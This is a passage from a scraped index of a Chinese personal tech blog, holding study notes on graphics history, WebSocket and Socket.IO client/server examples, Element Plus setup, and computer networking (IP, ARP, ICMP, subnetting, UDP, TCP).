shading（Phong着色法）\n1974年，Speed Race游戏，第一款赛车游戏\n1977年，3D core Graphics System，图形学标准\n1980年，NEC µPD7220 GPU，支持1024*1024的显示，普及民用\n1996年，Krishnamurthy与Levoy提出法线贴图（Normal Mapping）\n1995年，Directx 1.0\n1997年，OpenGL 1.1\n1999年，Nvidia，Gefprce 256 GPU","title":"计算机图形学学习笔记"},{"content":"HTTP1.1协议实质上就是半双工信道，无法同时发送数据和接收数据，而且HTTP连接必须是客户端发起，由服务器来进行处理响应，只有HTTP2.0才是全双工信道（不需要等待响应，就可以发送第二个报文）\nWebSocket是全双工信道，而且还支持服务端主动发送数据给客户端，是服务器推送技术（还是需要客户端发起连接）\nWebSocket协议是应用层协议，而且是建立在TCP协议上，端口也是使用443和80，握手使用HTTP协议，浏览器不会限制WebSocket的同源\nWebSocket客户端配置\nWebSocket构造函数，用来创建WebSocket实例\nconst ws = new WebSocket(\u0026lsquo;ws://127.0.0.1\u0026rsquo;)\nWebSocket.readyState实例具备4种状态，该属性是只读的，用来表示连接WebSocket服务端的状态，分别是：0（正在连接），1（连接完成并且可以通信），2（连接正在关闭），3（连接已经关闭或者连接失败）\nWebSocket.onopen是指定连接成功后执行的回调函数\nWebSocket.onerror是指定连接失败后执行的回调函数\nWebSocket.onclose是指定连接关闭后执行的回调函数\nWebSocket.onmessage是指定从服务器获取信息时执行的回调函数\n可以指定WebSocket.binaryType来指定传输的数据类型，数据类型有2种，分别是blob和arraybuffer\n客户端配置例如：\nconst ws = new WebSocket('ws://localhost:8080')\rws.onopen = () =\u0026gt;{\rconsole.log(\u0026quot;连接中\u0026quot;)\rws.send('hallo word') // 向服务端发送数据\r}\rws.onerror = () =\u0026gt;{\rconsole.log('连接失败')\r}\rws.onmessage = (evt) =\u0026gt;{\rconsole.log('连接成功，正在获取数据')\rif(typeof evt.data === String){\rconsole.log('hallo'+evt.data)\r}else if(evt.data instanceof ArrayBuffer){\rlet data = evt.data\rconsole.log('数据：'+data)\r}\rws.close() // 手动关闭连接\r}\rws.onclose = () =\u0026gt;{\rconsole.log('连接已关闭')\r}\r还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕\nWebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读\nWebSocket.protocol属性可以返回服务端选中的子协议名字，只读\nWebSocket.extensions属性可以返回服务端已选择的扩展值，只读\nWebSocket服务端实现（node的ws模块）\n安装ws模块\nnpm install ws\nserver.js\nconst WebSocket = require('ws') // 导入模块\rconst WebSocketServer = WebSocket.Server\rconst wsmain =new WebSocketServer({\rport: 8080\r})\rwsmain.on('connection',function(ws){ console.log('客户端已连接')\rws.on('message',function(message){\rconsole.log(`客户端发送的数据:${message}`)\rws.send('欢迎连接该ws服务端')\rws.send(message)\r})\r})\rnode server.js\n这样服务端可以接收到客户端发送的数据，服务端也可以主动给连接中的客户端发送数据\n除了ws模块外，还有nodejs-websocket，Socket.IO，µWebSockets\nnodejs-websocket搭建服务端\n安装\nnpm install nodejs-websocket\nserver.js\nconst ws = require(\u0026quot;nodejs-websocket\u0026quot;)\rconst server = ws.createServer(function (ws) {\rws.on(\u0026quot;text\u0026quot;, function (str) {\rconsole.log(str)\rws.sendText('hallo word')\r})\rws.on(\u0026quot;close\u0026quot;, function (code, reason) {\rconsole.log(\u0026quot;客户端已经关闭连接\u0026quot;)\r})\r}).listen(8080)\rapp.js\nconst ws = new WebSocket('ws://localhost:8080')\rws.onopen = () =\u0026gt;{\rconsole.log(\u0026quot;连接中\u0026quot;)\rws.send('hallo word') // 向服务端发送数据\rconst obj = {\rname: 'root',\rage: 20,\rpass: '123456',\remail: 'a@xiaochenabc123.test.com',\rkey: 'hallo word'\r}\rconst data = JSON.stringify(obj)\rws.send(data) // 发送json数据\r}\rws.onerror = () =\u0026gt;{\rconsole.log('连接失败')\r}\rws.onmessage = (message) =\u0026gt;{\rconsole.log('连接成功，正在获取数据')\rconst isJson = (str) =\u0026gt; {\rtry{\rif(typeof JSON.parse(str) == 'object'){\rreturn true\r}\r}catch (e){\r}\rreturn false\r} if(isJson(message.data)){\rconsole.log(JSON.parse(message.data)) }else{\rconsole.log(message.data)\r}\r}\rws.onclose = () =\u0026gt;{\rconsole.log('连接已关闭')\r}\rSocket.io基于WebSocket协议，提供HTTP长轮询（当前客户端不支持WebSocket时）和自动重新连接（提供心跳机制，定期检查连接，连接断开时会进行重新连接操作），和ws模块不同的是，Socket.io提供客户端功能，实质上Socket.io使用的是WS模块提供的WebSocket服务（默认情况），也是可以使用µWebSockets.js提供的WebSocket服务\n服务端\nnpm install socket.io\nserver.js\nimport { Server } from 'socket.io'\rconst io = new Server(3000)\rio.on('connection', socket =\u0026gt; {\rconsole.log('已成功连接')\r// 服务端给客户端发送消息\rconsole.log('正在发送消息')\rsocket.emit('hallo','word')\rconsole.log('发送消息完成')\r// 服务端接收消息\rsocket.on('abc',(arg) =\u0026gt; {\rconsole.log(arg)\r})\rsocket.on('disconnect', () =\u0026gt; {\rconsole.log('连接已断开')\r})\r})\r客户端\nnpm install socket.io-client\nclient.js\nimport { io } from 'socket.io-client'\r// const socket = io()\rconst socket = io('ws://127.0.0.1:3000')\r// 客户端接收消息\rsocket.on('hallo',(arg) =\u0026gt;{\rconsole.log(arg)\r})\rsocket.emit('abc','xyz') ","permalink":"https://xiaochenabc123.github.io/posts/158/","summary":"HTTP1.1协议实质上就是半双工信道，无法同时发送数据和接收数据，而且HTTP连接必须是客户端发起，由服务器来进行处理响应，只有HTTP2.0才是全双工信道（不需要等待响应，就可以发送第二个报文）\nWebSocket是全双工信道，而且还支持服务端主动发送数据给客户端，是服务器推送技术（还是需要客户端发起连接）\nWebSocket协议是应用层协议，而且是建立在TCP协议上，端口也是使用443和80，握手使用HTTP协议，浏览器不会限制WebSocket的同源\nWebSocket客户端配置\nWebSocket构造函数，用来创建WebSocket实例\nconst ws = new WebSocket(\u0026lsquo;ws://127.0.0.1\u0026rsquo;)\nWebSocket.readyState实例具备4种状态，该属性是只读的，用来表示连接WebSocket服务端的状态，分别是：0（正在连接），1（连接完成并且可以通信），2（连接正在关闭），3（连接已经关闭或者连接失败）\nWebSocket.onopen是指定连接成功后执行的回调函数\nWebSocket.onerror是指定连接失败后执行的回调函数\nWebSocket.onclose是指定连接关闭后执行的回调函数\nWebSocket.onmessage是指定从服务器获取信息时执行的回调函数\n可以指定WebSocket.binaryType来指定传输的数据类型，数据类型有2种，分别是blob和arraybuffer\n客户端配置例如：\nconst ws = new WebSocket('ws://localhost:8080')\rws.onopen = () =\u0026gt;{\rconsole.log(\u0026quot;连接中\u0026quot;)\rws.send('hallo word') // 向服务端发送数据\r}\rws.onerror = () =\u0026gt;{\rconsole.log('连接失败')\r}\rws.onmessage = (evt) =\u0026gt;{\rconsole.log('连接成功，正在获取数据')\rif(typeof evt.data === String){\rconsole.log('hallo'+evt.data)\r}else if(evt.data instanceof ArrayBuffer){\rlet data = evt.data\rconsole.log('数据：'+data)\r}\rws.close() // 手动关闭连接\r}\rws.onclose = () =\u0026gt;{\rconsole.log('连接已关闭')\r}\r还有WebSocket.bufferedAmount属性，也是只读，用于返回WebSocket..send没有发送到服务端的数据的字节数，为0表示全部数据已传输完毕\nWebSocket.url属性可以返回WebSocket实例的URL绝对路径，只读","title":"WebSocket学习笔记"},{"content":"Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库\n安装Element Plus\nnpm install element-plus \u0026ndash;save\n或者\nyarn add element-plus\n导入Element Plus\nimport ElementPlus from 'element-plus'\rimport 'element-plus/dist/index.css'\r按需导入\n安装插件\nnpm install -D unplugin-vue-components unplugin-auto-import\n如果是使用Vite则配置vite.config.ts文件\n导入并且启用插件\nimport AutoImport from 'unplugin-auto-import/vite'\rimport Components from 'unplugin-vue-components/vite'\r...\rplugins: [\rAutoImport({\rresolvers: [ElementPlusResolver()],\r}),\rComponents({\rresolvers: [ElementPlusResolver()],\r}),\r],\r这个组件库还支持module导入的方式手动按需使用，例如：\n\u0026lt;template\u0026gt;\r\u0026lt;el-button\u0026gt;I am ElButton\u0026lt;/el-button\u0026gt;\r\u0026lt;/template\u0026gt;\r\u0026lt;script\u0026gt;\rimport { ElButton } from 'element-plus'\rexport default {\rcomponents: { ElButton },\r}\r\u0026lt;/script\u0026gt;\r","permalink":"https://xiaochenabc123.github.io/posts/157/","summary":"Element Plus是基于vue3开发的组件库，而Element使用vue2开发的组件库\n安装Element Plus\nnpm install element-plus \u0026ndash;save\n或者\nyarn add element-plus\n导入Element Plus\nimport ElementPlus from 'element-plus'\rimport 'element-plus/dist/index.css'\r按需导入\n安装插件\nnpm install -D unplugin-vue-components unplugin-auto-import\n如果是使用Vite则配置vite.config.ts文件\n导入并且启用插件\nimport AutoImport from 'unplugin-auto-import/vite'\rimport Components from 'unplugin-vue-components/vite'\r...\rplugins: [\rAutoImport({\rresolvers: [ElementPlusResolver()],\r}),\rComponents({\rresolvers: [ElementPlusResolver()],\r}),\r],\r这个组件库还支持module导入的方式手动按需使用，例如：\n\u0026lt;template\u0026gt;\r\u0026lt;el-button\u0026gt;I am ElButton\u0026lt;/el-button\u0026gt;\r\u0026lt;/template\u0026gt;\r\u0026lt;script\u0026gt;\rimport { ElButton } from 'element-plus'\rexport default {\rcomponents: { ElButton },\r}\r\u0026lt;/script\u0026gt;\r","title":"简单使用Element Plus组件库"},{"content":"计算机网络是通用，可编程的硬件组成的，并且这些设备可互连，并且可以传输不同类型的数据\n计算机网络不是只有软件概念，还有硬件设备，例如：网卡，网线，路由器等等\n网络作用范围：广域网（WAN），城域网（MAN），局域网（LAN）\n计算机网络发展历史\nARPANET（1969年，美国国防部创建的单个网络）\n三层结构互联网（现代互联网雏形，当时主要用于连接美国学校，实验室的计算机，主干网，地区网，校园网）\n多层次ISP互联网（ISP指网络服务提供商（Internet Service Provider），常见网络服务提供商有中国移动，中国电信，中国联通等等）\n多层次ISP互联网，分主干ISP（主要跨国通信），地区ISP（主要局部地区通信，例如广东移动，北京电信等等）\n中国创建了多个公共互联网，例如：中国电信互联网（CHINANET），中国移动互联网（CMNET），中国联通互联网（UNINET），中国教育与科研计算机网（CERNET），中国科学技术网（CSTNET）等等\n计算机网络层次结构（确保数据通信顺通，识别目标计算机的状态，数据是否存在错误）\n层次结构大概分3个，网络应用，数据通信，物理网络\n层次细分的话，有七层，也就是OSI七层模型（OSI国际标准定义的），而且每个层都是独立的（不干预其他层），只完成不同的工作\nOSI七层模型：应用层（为计算机提供服务），表示层（数据处理），会话层（管理通信会话），传输层（管理通信连接），网络层（数据路由），数据链路层（管理节点之间的数据通信，例如传输数据到另一个局域网），物理层（计算机物理设备）\nOSI七层模型并没有成为广泛使用的标准，而是采用TCP/IP四层模型\nTCP/IP四层模型：应用层（对于OSI七层模型的应用，表示，会话，HTTP协议），传输层（OSI七层模型的传输层，TCP/UDP协议），（OSI七层模型的网络层，IP/ICMP协议）网络层，（数据链路层和物理层，ARP/RARP协议）网络接口层\n计算机网络性能指标\nbps=bit/s，1秒多少比特位，比特率\n时延：发送时延（数据bit除以bps），排队时延（数据等待被网络设备处理的时间），处理时延（数据到达目标机器后处理需要的时间），传输时延（传输路径除以bps）\n总时延 = 发送时延+排队时延+传输时延+处理时延\n往返时间RTT（Route-Trip Time）：数据报文在通信中来回一次的时间（可通过ping命令来查看RTT）\n物理层（连接不同的物理设备，传输比特流）\n物理层传输介质：双绞线（又分屏蔽和无屏蔽，区别就是增加了一层屏蔽层），同轴电缆，光纤（通过光传输，光纤内部是具有高折射率的纤芯，能折射光）\n电缆使用铜作为传输介质，光纤通过光来作为传输介质\n铜线中的电信号传播速度大约为2.3*10^8m/s\n光纤中光信号的传播速度是2.0*10^8m/s\n因此实质上电缆的传播速度比光纤快，因为光纤是利用光的反射来传输到远方的，实质光走的距离更长\n但是电缆的铜在远距离的情况下，会导致衰减（主要有2个原因导致，介质损耗（通过电磁波传导，会在介质中产生电场的电荷规则排序，这会消耗能量）和导线损耗），需要通过中继器来延续信号\n因此在跨市，跨城，跨省，跨国使用都是光纤（光纤的带宽比电缆好，也是一个原因），但是短距离，得益于电缆的传播速度，会更好，因此局域网内部大多使用电缆来传输（因为解析光信号，还需要个光信号调制调解器，计算机无法直接使用光纤传输的数据）\n比特流：通过高低电平来表示比特流，来传输数据\n信道（往一个方向传输信息的媒体，一个通信电路最少要有一个发送信道和接收信道）\n信道的分类：单工通信信道（只能往一个方向通信的信道，没有反馈的信道，例如电视机的电视闭路线），半双工通信信道（可以发送和接收信息，但是不能同时发送，同时接收），全双工通信信道（可以同时发送，同时接收）\n物理层会实现信道分用复用技术（提升信道的利用率）\n频分复用，时分复用，波分复用，码分复用\n数据链路层（封装成帧，透明传输，差错监测）\n数据帧：数据链路层中数据的基本单位，数据发送方会在网络层的一段数据的前后添加特定标记，而这一段数据就是数据帧，数据接收方根据特定标记来识别数据帧，是数据链路层内部数据处理成帧\n数据帧也分MAC帧（没有帧尾，因为MAC帧之间是96比特时间，帧头也是没有的，而是让物理层给MAC帧添加8bts的前导码），PPP帧（有帧头和帧尾，帧头到帧尾就是这个帧的长度）\n封装成帧：数据链路层会将网络层交付的数据报文添加帧头和帧尾，让其成为帧\n帧头和帧尾都是特定的控制字符（比特流），帧头（SOH）：00000001，帧尾（EOT）:00000100\n透明传输：数据链路层对网络层提供的数据没有限制（控制字符在帧数据中，但是不会去当成数据去处理，就好像帧头和帧尾不存在一样）\n字节填充（对数据内部的数据填充ESC转义字符），比特填充（零比特填充法：在每5个连续的1后面插入比特0）\n数据链路层规定了帧的数据的长度限制，就是最大传输单元MTU（Maximun Transfer Unit）\n以太网的MTU（MAC帧）是1500字节\n路径MTU：由链路中MTU的最小值决定\n差错监测：因为物理层只负责传输比特流，没有控制出错的功能，因此数据链路层提供了差错监测的功能\n奇偶校验码：在发送的每个字节后加上一位，让字节中为1的数可以是奇数或者偶数，通过奇偶校验来确定数据是否出错，具体可以看https://xiaochenabc123.test.com/archives/77.html这篇文章，讲TCP的可靠性那里\n奇偶校验码的缺点就是如果发生2位的出错，就无法校验出来错误\n循环冗余校验码CRC（根据传输或者保存的数据来产生固定位数的校验码，校验码再附加到数据的后面）\n模二除法：通过异或来表示0或者1，例如00就是0，01就是1，异为1，或为0\n选择用于校验的多项式，并且在数据后面添加多个0，添加多个0的数据，通过模二除法来除以校验的多项式的位串，得到的余数将填充到原来数据的添加多个0的位置，来得到可校验的位串\n假设校验的多项式为X3+X2+1，那么就是原数据后面添加3个0（添加多少个0取决多项式的最高阶，二进制位的最高位也取决于最高阶（最高幂次）二进制位数等于最高阶+1，这里就是表示的二进制位为4位的二进制数），二进制位串位计算就是1x3+1x2+0x1+1x0，就是1101\n例如原数据为1010110，CRC校验码计算就是1010110000除以1101，得到的余数0001就是CRC校验码，在将原来填充0的位置填充CRC，就是10101100001，这个比特流就是要传输的数据\n接收数据进行校验通过，传输的数据除以位串，来得到余数，根据余数来进行判断校验（余数为0则表示数据正确）\n数据链路层只检测数据的错误，不会进行数据的纠错，数据错了，数据链路层将会丢弃错误的数据或者重新传输数据\nMAC地址（物理地址，硬件地址，每个设备都有唯一的MAC地址，用48个比特位来表示，使用16进制）\nMAC地址表：映射MAC地址到硬件接口上\n以太网协议是数据链路层的协议，以太网协议是局域网技术，以太网协议用于完成相邻设备的数据帧传输\n网络层（数据路由，数据在网络传输的路径，跨局域网，跨节点）\n路由器的顶层是网络层，没有使用到传输层和应用层\n网络层的ip协议，子网划分\n虚拟互连网络（物理网络复杂，使用IP协议时，将无需关心物理网络的差异）\n网络层利用IP协议来将使用IP协议的计算机连接起来，就好像这些计算机只需要连接一个虚拟互连网络一样，无需关心底层经过了哪些网关，路由器，ISP等等，将专注于数据的转发工作\nIP协议\nIP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，使用4组从0到255的数字表示ip地址，ipv6使用冒分十六进制，用8组4位的16进制表示ipv6地址\nIP协议处理数据是数据链路层处理完毕的数据帧的数据，又叫IP数据报，IP数据报包含了目标的IP地址，源IP地址，IP数据，协议数据等等\nIP数据报的4位版本，就是IP协议的版本，使用4位二进制表示，通信双方必须一致（否则无法通信），例如版本4（v4），版本6（v6）\nIP数据报的4位首部长度，是表示IP首部的长度，使用4bit表示，4位填满就是1111，就是15bit，IP数据报限制每行是4个字节（32位bits），154就是60字节，因此首部最大可以是60个字节，IP数据报最短部分有5行，54，就是20字节，20字节是IP首部长度最小的值，这个看起来可能有点乱，下面解一下为啥是这样\n首部长度的单位是32bit（4字节），也就是说首部长度0001是表示IP首部有32bit，4个字节，首部长度1111就是4*15（15是二进制1111换算出来的），就是IP首部最大是60个字节\n因为IP数据报最少要有5行，这5行就是最小首部（第六行是可选的），每行4个字节，4*5就是20个字节，IP首部长度最小表示得是20个字节，用4位首部长度表示就是0101（就是5，因为1就表示了4个字节）\nIP数据包的总长度是用16位bit表示，因此最大值为65535（2的16次方），这个总长度表示IP首部+IP数据的总长度，因此一个IP数据包最大是65535字节\n当IP数据包大于MTU时，数据链路层会将IP数据包分片，以确保符合MTU\nIP首部还有个服务类型，用8位表示，前面3位表示优先级，后4位是标志，最后一位是保留位，前面3位，满载就是111，也就是说有7种优先级，这个优先级没有强制性，物理设备也不看\nIP首部标识，占16位，是计数器，相同数据包的标识是相同的（每生产一个数据包就+1），用来数据包的分段，以确保IP数据包能通过MTU限制的数据链路，最后为了数据帧拼装成完整的IP数据包，通过标识来确定，这个标识会被复制到数据帧的标识字段中，相同标识就表示是相同的IP数据包，就可以拼装成完整的数据包了\nIP首部标志，占3位，只有2位有意义，表示该IP数据包是否分片，第一位没有使用，第二位表示DF（Don\u0026rsquo;t Fragment），是否要进行分帧（DF=0时才允许分片），第三位表示MF(More Fragment)，是否后面数据报（MF=0时表示该数据包后面没有了，是最后的包），因此一个允许被分片，并且不是最后一个数据包时，标志表示为001，不允许分帧的话，超过MTU限制的数据包将被丢弃，并且向数据包的源头提示信息\nIP首部片偏移，占13位，表示分片后，该片在原来ip数据包中的相对位置，片偏移是用8个字节为一个偏移单位，因此每个片的长度一定是8字节的倍数\n生存时间TTL，占8位，表示该数据报文在网络中的寿命，经过一个设备TTL会减1，当TTL为0时，该数据报文将被设备丢弃，确保数据报不会一直在互联网的设备中传输，而消耗网络资源\n协议，占8位，表示数据报携带的数据是什么协议的，让网络层知道应该将这个数据给哪个来进行处理，常见的协议取值，1为ICMP，2为IGMP,4为IP，6为TCP，17为UDP\n首部检验和，占16位，用来校验数据报的首部，每经过一个设备，都会重新计算首部检验和，确保首部不出错，出错会被设备丢弃\nIP源地址，占32位，表示发送该IP数据报的机器的IP地址\nIP目标地址，占32位，表示该IP数据报需要到达的目标机器的IP地址\nIP协议转发过程（逐跳（hop-by-hop））\nMAC地址表工作过程：网卡发送数据帧，数据帧抵达路由器，路由器会取前6字节，来匹配MAC地址表，查找该MAC地址对于的网络接口，路由器就可以通过网络接口来对外发送数据帧\nIP路由表和MAC地址表工作过程类似，IP路由表有目标IP地址，以及有要到达该目标IP地址的下一个地址，发出IP数据报，通过查询IP路由表得知，需要将改数据报发送给另一个IP，才能到达就会发送给另一个IP，另一个IP的设备查询路由表，需要给另一个IP，就发送给它，一直到抵达目的地，或者TTL死亡，计算机和路由器都有路由表\nIP路由表是网络设备根据路由协议生成的，windows操作系统可通过route print命令查看本计算机的路由表\n可以看到有5个属性，分别是网络目标（目标的IP）和网络掩码（表示IP地址的哪个标识是当前设备所在的子网），网关（将数据发送给哪个设备，网关又叫下一跳服务器），接口（发送数据包的网络接口，和当前网关是同一个子网）以及跃点数（到达目标需要经过的跃点数量，一个跃点就是一个路由器，TCP/IP协议会选择最低跃点数的路由）\n网络掩码，又叫子网掩码，和IP地址搭配使用，子网掩码也是32位地址，用来屏蔽IP地址的一部分来区别是网络地址和主机地址，RFC950定义，表示网络地址的位都为1，表示主机地址的位都为0，例如192.168.1.2的子网掩码255.255.255.0，表示192.168.1是网络地址，最后的2才是主机地址，因此得到192.168.1.2是属于192.168.1.0这个网络下的，其中主机号为2\n逐跳的过程：网络层通过路由表，知道下一个发送哪个设备来转发数据，网络层将封装IP数据报给数据链路层，并且告知目标的MAC地址是什么，数据链路层将数据帧发送给目标MAC地址，当接收数据帧后，会将数据帧给网络层（这也是为啥路由器最高层是网络层的原因，路由器不需要那么高层的功能），网络层查询路由表，得知下一个目标设备，并且将数据报给数据链路层，告知目标的MAC地址是什么，数据链路层会将数据帧发送给目标设备一直到真正的目标设备为止\n数据帧在每一逐跳中，都会对MAC地址发送改变，但是IP数据报的IP地址不会发生变化\nARP协议（Address Resolution Protocol，地址解析协议）和RARP协议（Reverse Address Resolution Protocol，逆地址解析协议）\nARP协议会将网络层的IP32位地址解析成数据链路层的MAC48位地址，ARP缓存表表示IP地址和MAC地址的映射关系，缓存表没有缓存时，ARP会广播，其他设备会回应，ARP将记录设备的IP和MAC地址，ARP缓存表的记录具有期限性\nwindows操作系统可通过arp -a命令查看本机的ARP缓存表\nARP协议报文是直接对数据链路层的数据帧进行封装的\nARP协议报文由2位的类型，28位的ARP请求应答，18位的PAD填充数据组成\n其中28位的ARP请求应答报文，是由2位硬件类型，2位协议类型，4位标记，6位发送方的以太网地址，4位发送方的IP地址，6位的目标以太网地址，4位的目标IP地址组成\nRARP的工作和ARP是逆操作，RARP协议是将数据链路层的MAC地址解析成IP地址，利用的也是ARP缓存表，RARP报文和ARP报文是一样的类型组成的\nIP地址的子网划分\nIP地址分类，将32位分成网络号，主机号\nA类地址：8位网络号（前一位为0），24位主机号，最小网络号为0，最大网络号为127（01111111），最小主机号为0.0.0，最大主机号为255.255.255\nB类地址：16位网络号（前二位为10），16位主机号，最小网络号为128.0，最大网络号为191.255，最小主机号为0.0，最大主机号为255.255\nC类地址：24位网络号（前三位为110），8位主机号，最小网络号为192.0.0，最大网络号为223.225.255，最小主机号为0，最大主机号为255\n特殊的主机号，主机号为0表示当前网段，主机号为1表示是广播地址，对当前网段的全部设备发送消息用的\n特殊的网络号，A类地址中网络号全为0为特殊网络，例如0.0.0.0，A类地址中网络字段后7位为1是表示回环地址，例如127.0.0.1\nB类地址网络号后14位都为0，例如128.0.0.1，C类网络号后21位为0，例如192.0.0.1\n上面特殊的都是不可使用或者无法分配的\n区别IP地址属于那一类地址，只需要将IP地址的前8位取出来，通过判断前1位到3位来知道，也是可以看前一段IP地址，例如192.168.1.1，这个明显超过A类，B类地址的最大网络号，因此是C类地址\n127.0.0.1本地回环地址（Loopback Address），这个地址不属于任何一个地址类，它表示设备的本地虚拟接口，甚至无网卡也可以ping通该地址\n还有D类地址，开头前4位是1110，E类地址前4位为1111，D类和E类地址用来特殊用途的，例如广播（D类），D类和E类是不区分网络地址和主机地址的\n子网划分就是在网络号主机号的基础上添加子网号，通过子网掩码来匹配网络号\nA类地址的子网掩码是255.0.0.0\nB类地址的子网掩码是255.255.0.0\nC类地址的子网掩码是255.255.255.0\n子网掩码的二进制与IP地址的二进制进行与运算（位相同，并且为1返回1，位不相同，而且为0返回0），得到的运算结果转换为点分10进制，就是该IP属于这个IP的子网\n无分类编址CIDR（Classless Inter-Domain Routing，无类域间路由选择，没有ABC这些网络分类，也没有子网划分）\nCIDR将IP区分为网络前缀和主机号，网络前缀相同就表示是一个CIDR地址块，网络前缀不受限制\n斜线记法，例如192.168.1.2/25，表示前25位为网络前缀，后7位为主机号（2的7次方，就是128，去掉最大和最小的，还有126个ip地址可以分配，而不需要像C类地址一样，直接就分配255-2个地址，造成地址浪费）\n通过斜线记法占据网络前缀，主机号将可以灵活的占用，更有效分配IP地址，减少IP地址分配的浪费\nCIDR的IP地址与子网掩码，进行与运算，可以得到网络号\n网络地址转换NAT技术（解决IPv4地址不够用）\nNAT技术将IP分为内网地址（避免和外网地址重复）和外网地址（又叫公网地址）\nA类内网地址，10.0.0.0到10.255.255.255\nB类内网地址，172.16.0.0到172.31.255.255\nC类内网地址，192.168.0.0到192.168.255.255\n网关以及ISP，服务器使用外网地址，内部局域网使用内网地址\nNAT（Network Address Translation，网络地址转换）：让多个内网设备通过一个公网地址来访问互联网的技术，通过转发端口号来实现，内部的端口号，需要访问外网时，会分配一个新的端口号和新的地址（公网）来表示这个内网端口服务，这样外网访问这个公网的端口时，将可以映射给具体内网的端口服务\n例如常见的NAT穿透技术（就是内网穿透）\nICMP协议（Internet Control Message Protocol，网际控制报文协议）\nICMP协议可以报告错误信息和异常信息，搭配IP协议使用\nICMP协议报文封转在IP数据报的数据中，ICMP协议报文由ICMP报文首部和ICMP报文数据组成\nICMP报文首部由8位类型（ICMP报文的类型，有2类，分别是差错报告报文，询问报文），8位代码（ICMP报文具体有哪些错误），16位的校验和组成\n差错报告报文的常见类型有3（终点不可达，代码0为网络不可达，1为主机不可达），5（重定向，代码0为网络重定向，1为主机重定向），11（传输超时），12（缺少IP必要参数（1）或者IP头部问题（0））\n询问报文的常见类型有0或者8（回送请求或者应答），13或者14（时间戳请求或者应答），询问报文主要查询网络是否互通，\n使用了ICMP协议的应用有ping（询问报文），traceroute（发送IP数据包到目标需要走哪些路由）\nwindows可使用tracert命令来体验traceroute的功能，tracert baidu.com\n传输层（给上层应用层提供通信功能，是数据通信的最高层，传输层实现进程与进程间的通信（跨设备，跨设备））\n传输层协议：TCP协议和UDP协议\n使用不同的端口表示不同的网络进程，端口使用16位表示，（0到65535），端口只对本地有意义，进行网络传输，还需要搭配IP来使用\n传输层对上层应用层起到屏蔽底层的细节的作用，网络层传输点到点的传输，传输层就将点精确到端，进程的传输\nUDP协议（User Datagram Protocol，用户数据报协议）\n应用层传递的数据报，UDP不会对其进行合并，拆分，UDP协议数据报大小取决于上层网络层的数据报\nUDP数据报分为UDP首部，UDP数据报数据（UDP数据报数据就是上层应用层提交的数据）\nUDP首部由16位源端口号（源机器的端口），16位目标端口号（目标机器的端口），16位UDP长度（表示UDP数据报的长度），16位UDP校验和组成，UDP首部是8字节的长度\nUDP无连接（不需要建立连接，直接对目标发送数据报），不保证可靠传输数据（不会感知数据报的发送失败，丢失），面向报文传输（应用层交付的数据报文有多大，UDP就传输多大的UDP协议报文，一次发送一个报文），没有拥塞控制（无法感知网络的拥塞情况，直接交付数据报给网络就完事）\nTCP协议（Transmission Control Protocol，传输控制协议）\nTCP协议报文也是在IP数据报的数据内部的，由TCP首部和TCP数据报数据组成\nTCP是面向连接（需要提前建立连接，才能通信），提供可靠传输（连接管理（3次握手，4次挥手），数据分段（），校验和（校验数据），序号（按顺序发送，收到乱序则丢弃数据），累计确认（接收数据方会发送确认应答，来表示发送的报文收到了），重发机制（定时器，一段时间内无法确认该报文接收到，发送方会重新发送该报文），流量控制（感知对方的接收情况，如果对方接收不够快，会提示对方降低发送频率（调整本地的窗口，并且告知对方窗口值是多少），避免数据报的丢失），拥塞控制（感知网络拥塞情况，能根据拥塞情况来调整数据发送的频率，调整拥塞窗口，避免数据报的丢失），通过这些来保证可靠传输），提供全双工通信，面向字节流传输\nTCP字节流：TCP协议将网络层传输的数据看成字节流，会从字节流中选择长度来创建数据段（拆分），这个数据段就成了TCP数据报的数据，接收方接收数据时，还需要对数据进行排序（根据序号，合并）\nTCP粘包：发送的数据，在接收方被粘在一块了（排序），一个数据包的头部接着另一个数据的尾部，导致原因是接收数据时，并不会马上交付数据，而是存储在流量控制的缓存中，交付数据时就可能读取到TCP粘包\nTCP首部由16位源端口，16位目标端口，32位序号（传输的字节都有唯一序号，表示数据报的数据的第一个字节的序号），32位确认号（表示前面多少个数据收到了，如果有下一个数据请发送给我，例如ack=11，表示前面10个数据已经收到，可以发送第11个数据了，表示期待收到下一个字节序号是什么，传输下一个数据报的数据取决于这个，序号+当前数据长度的和就是下一个数据发送的起点序号），4位数据偏移（首部长度，最大长度1111，就是15，表示有15行，每行4字节，最大60个字节，单位为4字节，长度是20（最少20字节）到60字节之间，表示真实数据距离首部有多长），保留字段，6位的TCP标记（有6位不同的控制位，分别为URG（Urgent，紧急位，URG=1，表示该数据是紧急数据，接收端会更优先获取该数据），ACK（Acknowledgenent，确认位，ACK=1时确认号才生效），PSH（Push，推送位，PSH=1时表示尽快将该数据交付应用层，不需要等缓存填满交付），PST（Reset，重置位，RST=1时通知重新建立TCP连接），SYN（Synchronization，同步位，SYN=1，ACK=0时表示需要连接建立请求，ACK=1时表示连接请求报文），FIN（Finish，终止位，FIN=1时，表示数据发送完成，开始断开连接操作）），16位窗口（表示本地可以接收的数据最大多少，字节为单位，流量控制的基础，可变），16位校验和（差错控制，发送方计算全部数据的校验和，接收方也计算校验和，当接收方的校验和和发送方一致时，数据发送正确），紧急指针（搭配URG控制位使用，指定紧急数据在报文的位置），可选的TCP选项（最大40字节），以及填充（填充32位的整数倍）组成\nTCP首部除了填充，TCP选项外，剩余是固定20个字节的长度的\n可靠传输协议：停止等待协议（发送方发送数据，只有当接收方响应确认后，再发送另一个数据，停止是发送方的停止发送另一个数据，等待是接收方等待数据的传输，获取到了响应一个确认，如果接收方在一段时间内没有响应确认消息，发送方会重发该数据给接收方（超时重传，超时定时器）），连续ARQ协议（连续发送多个报文，批量发送，通过滑动窗口，来确认发送多少个报文，当报文确认号到达，将移动窗口，让其可以发送后面的报文，累计确认）\nTCP可靠传输基于连续ARQ协议，滑动窗口是以字节为单位，窗口首个字节就是确认号（期望下一个发送该字节），发送字节的长度等于确认号+窗口大小，移动窗口的前提是已经接收到确认了，可用窗口等于窗口长度-已发送未确认的，如果窗口首个字节长时间没有确认，将重新传输该窗口的全部字节（哪怕已经接收到）\n因为重传窗口的全部字节效率低，因此有选择重传，可以指定重传的字节，每个字节都有32位序号，提供序号就可以选择性重传，选择重传的数据存储在TCP选项内部，因为TCP首部最大60字节，因此TCP选项最大40字节，也就是10个序号（一个序号